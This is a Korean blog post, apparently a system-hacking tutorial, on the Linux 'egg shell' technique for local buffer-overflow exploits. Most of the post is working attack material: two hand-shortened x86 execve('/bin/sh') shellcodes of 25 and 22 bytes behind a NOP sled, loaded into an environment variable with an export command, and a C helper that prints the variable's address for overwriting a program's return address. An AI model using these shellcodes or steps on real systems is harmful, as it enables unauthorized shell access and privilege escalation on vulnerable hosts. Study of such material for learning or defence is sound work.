본문 바로가기

IT/System Hacking

리눅스 에그쉘(egg shell) 사용법

/* 
written by kaspy (kaspyx@gmail.com)
*/ 


에그쉘(eggshell)이란 취약한 바이너리를 exploit 할때 버퍼의 주소 계산이나 버퍼 사이즈등의 난관으로 공략하기 어려울때 이를 환경변수에 등록해두고 이주소를 사용한다. 로컬(local) 환경에서만 사용할수있는 단점이있다.


아래 두개 쉘코드는 25 바이트 및 22바이트로 나름 경량화하였다.


사용법은 export 명령어를 사용하여 에그쉘을 환경변수로 등록하고 getenv 함수를 통하여 에그쉘의 주소를 얻어온후, 프로그램의 ret 주소를 getenv 함수의 주소로 변경한다. 끗


  • shellcode 1 - 25 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }


  • shellcode 2 - 22 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }



참고 내부링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 리눅스 쉘코드(shellcode) 크기 줄이기 - http://kaspyx.kr/91